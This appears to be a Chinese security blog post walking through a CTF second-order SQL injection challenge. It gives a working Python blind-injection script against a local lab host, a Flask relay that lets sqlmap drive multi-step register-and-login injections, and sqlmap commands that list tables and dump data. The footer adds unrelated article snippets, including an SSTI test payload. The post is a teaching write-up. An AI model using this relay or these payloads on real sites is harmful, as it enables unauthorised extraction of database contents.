SQL 注入进阶:FLASK 加工中转 SQLMAP 流量

VSole2023-03-24 10:10:12

本文仅作为技术讨论及分享,严禁用于任何非法用途。

前言

在渗透工作中我们经常能碰到一些逻辑复杂的 SQL 注入漏洞,并不能直接通过 sqlmap 工具注入拿到结果。今年网鼎杯的一道 SQL 注入题 “张三的网站” 让我久久不能忘怀,我不断思考遇到这类型的 SQL 注入除了手工注入然后编写脚本一点一点脱数据以外,有没有一个比较优雅的解决方案呢?

一道 CTF 题的思考

先来说说 “张三的网站” 这道题目,因为我手上没有题目源码,所以就根据记忆中的各个功能自己写了一个(很少写 php,代码很烂),相关代码已经上传到 GitHub,见文章底部。

该题目主要涉及 3 个页面:

  1. 登陆页面
  2. 注册页面
  3. 登陆后的主页

题目中的登陆页面、注册页面均无 SQL 注入漏洞,但是登陆后的主页在用户名处存在 SQL 注入漏洞。要利用此漏洞,需要在注册页面控制用户名,邮箱使用随机数生成的邮箱,密码随意,然后使用邮箱和注册时的密码登陆,登陆成功后跳转到主页,此时触发 SQL 注入漏洞。

注册名为 “123” 的用户:

注册名为 “123’” 的用户:

以下是一个 Python 脚本手工注入的解法:


import requests
import random
import re
import string
proxy = {'http': '127.0.0.1:8080'}
session = requests.session()
def register(username, email, password='123'):
    burp0_url = "http://192.168.154.130:80/web/register.php"
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/register.php", "Upgrade-Insecure-Requests": "1"}
    burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}
    r = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)
def login(email, password='123'):
    burp0_url = "http://192.168.154.130:80/web/login.php"
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/login.php", "Upgrade-Insecure-Requests": "1"}
    burp0_data = {"email": email, "pw": password, "submit": ''}
    r1 = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)
    # 跳转首页
    burp0_url = "http://192.168.154.130/web/index.php"
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Referer": "http://a434051f6c184741b1ede6b610a15f805a546b5b172748e9.changame.ichunqiu.com/login.php", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    
    r2 = session.get(burp0_url, headers=burp0_headers, proxies=proxy)
    if r2.status_code == 302:
        print('username payload no work')
    elif r2.status_code == 200:
        pattern = '''(.+?)'''
        try:
            userr = re.findall(pattern, r2.text, re.DOTALL)[0]
            if userr:
                return True
            else:
                return False
        except:
            return False
def main():
    key = string.ascii_lowercase + string.digits + '{}_-'
    flag = ''
    for keynum in range(1, 43):
        for s in key:
            username = r"""'or(substr((select e.a from (select (select 1)a union select * from flag)e limit 2 offset 1) from {0} for 1) = '{1}') and '1""".format(keynum, s)
            email = '{}@qq.com'.format(int(random.random() * 10000000))
            register(username, email)
            if login(email):
                flag += s
                print('key: ' + flag)
                break
       
    
if __name__ == "__main__":
    main()

如果对 ctf 不熟悉的朋友应该会很懵,因为语句中直接查询获取了 flag 表中的内容,而正常情况下,我们是不知道真正的 flag 在上面表,这样的解法我个人觉得不具备通用性,当然了在 ctf 比赛中是很高效的。

那么,有没有可能通过 sqlmap 来进行注入呢?显然,直接使用 sqlmap 不进行二次开发是无法检测出注入点的,因为 sqlmap 的注入逻辑不支持多个数据包的逻辑处理。于是我在想有无一种办法,拿到 sqlmap 的注入检测 payload,然后我们通过 Python 编写相应的请求逻辑,再把响应结果返回到 sqlmap 呢?答案是可行的!

Flask 中转 sqlmap 注入

代码实现的结构如下,首先创建一个 flask 服务,接收 payload 参数的值,然后传入函数 custom_fun 中,custom_fun 函数由自己编写请求逻辑,把 payload 参数的值填入到存在注入点的参数中,然后发起请求,把最终响应结果 return 就行。最后通过 sqlmap 检测 URL:http://127.0.0.1:5000/?payload=1 即可,可以适当调整 sqlmap 的注入参数,比如 --level--risk--technique 等。


from flask import Flask
from flask import request
import requests
import random
def custom_fun(payload):
    return ''
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        payload = request.args.get('payload')
    elif  request.method == 'POST':
        payload = request.form.get('payload')
    return custom_fun(payload)
def main():
    app.run(host='127.0.0.1', debug=True)
if __name__ == "__main__":
    main()

流程示意图如下:

完整注入过程

先来看看本例的实现代码:


from flask import Flask
from flask import request
import requests
import random
def custom_fun(payload):
    email = '{}@qq.com'.format(int(random.random() * 10000000))
    username = payload
    password = '123'
    proxy = {'http': '127.0.0.1:8080'}
    session = requests.session()
    # 注册
    burp0_url = "http://192.168.154.130:80/web/register.php"
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/register.php", "Upgrade-Insecure-Requests": "1"}
    burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}
    resp = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)
    # 登陆
    burp0_url = "http://192.168.154.130:80/web/login.php"
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/login.php", "Upgrade-Insecure-Requests": "1"}
    burp0_data = {"email": email, "pw": password, "submit": ''}
    r1 = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)
    # 登陆后跳转到首页
    burp0_url = "http://192.168.154.130/web/index.php"
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    
    resp = session.get(burp0_url, headers=burp0_headers, proxies=proxy)    
    resp.encoding = resp.apparent_encoding
    return resp.text
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        payload = request.args.get('payload')
    elif  request.method == 'POST':
        payload = request.form.get('payload')
    return custom_fun(payload)
def main():
    app.run(host='127.0.0.1', debug=True)
if __name__ == "__main__":
    main()

从代码上可以看到,只需要把请求逻辑写到 custom_fun 函数中,把最终结果的响应包 return 给 flask,剩下的就可以交给 sqlmap 了,优雅!

这里说一个小技巧,可以使用 Burp 的拓展 Copy As Python-Requests 来一键把 burp 的请求复制为 Python requests 请求:

然后使用 sqlmap 测试一下,因为是通过本地 flask 中转,我们的 sqlmap 的 target 应该是本地的 flask 服务端口,命令如下:


sqlmap -u http://127.0.0.1:5000/?payload=1

检测时 flask 服务的输出:

成功检测到注入点:

当前数据库:


sqlmap -u http://127.0.0.1:5000/?payload=1 --current-db

跑表名:


sqlmap -u http://127.0.0.1:5000/?payload=1 -D test --tables

跑 flag 表数据:


sqlmap -u http://127.0.0.1:5000/?payload=1 -D test -T flag --dump

flasksqlmap
本作品采用《CC 协议》,转载必须注明作者和本文链接
burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}
Web安全是网络渗透中很重要的一个组成部分,今天跟大家聊一下,如何在三个月内从零基础掌握Web安全。
网上安全渗透测试工具整理全集,部分链接可能失效,但可以搜索到
虽然市面上关于SSTI的题大都出在python上,但是这种攻击方式请不要认为只存在于 Python 中,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言。
Web Hacking 101 中文版:https://wizardforcel.gitbooks.io/web-hacking-101/content/ 浅入浅出Android安全 中文版:https://wizardforcel.gitbooks.io/asani/content/ Android 渗透测试学习手册 中文
之前有看到goby反制和松鼠A师傅蚁剑反制的文章,再想到之前写过sqlmap的shell免杀,觉得思路其实差不多,就写一篇sqlmap的反制吧。
服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等) 网站指纹识别(包括,cms,cdn,证书等),dns记录 whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等) 子域名收集,旁站,C段等 google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等 扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等 传输协议,通用漏洞,ex
⽹上整理的⾯试问题⼤全,有些 HW ⾯试的题,已经收集好了,提供给⼤家。
平时接触到的 python 项目并不多,对 python 的代码审计更是没有接触,偶然朋友发来了一个漏洞 Flask send_file函数导致的绝对路径遍历 ,感觉打开了新世界的大门,于是就以一个初学者的角度,进行复现分析一下。
漏洞原因 服务器模板注入 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点。SSTI 攻击可以用来找出 Web 应用程序的内容结构。漏洞复现 /vulhub/flack/ssti //进入到ssti的目录下 up -d && docker-compose build // 加载环境并运行3.然后在浏览器上访问http://your-ip:80004、访问http://your-ip/?name={{233*233}},得到54289,说明SSTI漏洞存在。
VSole
网络安全专家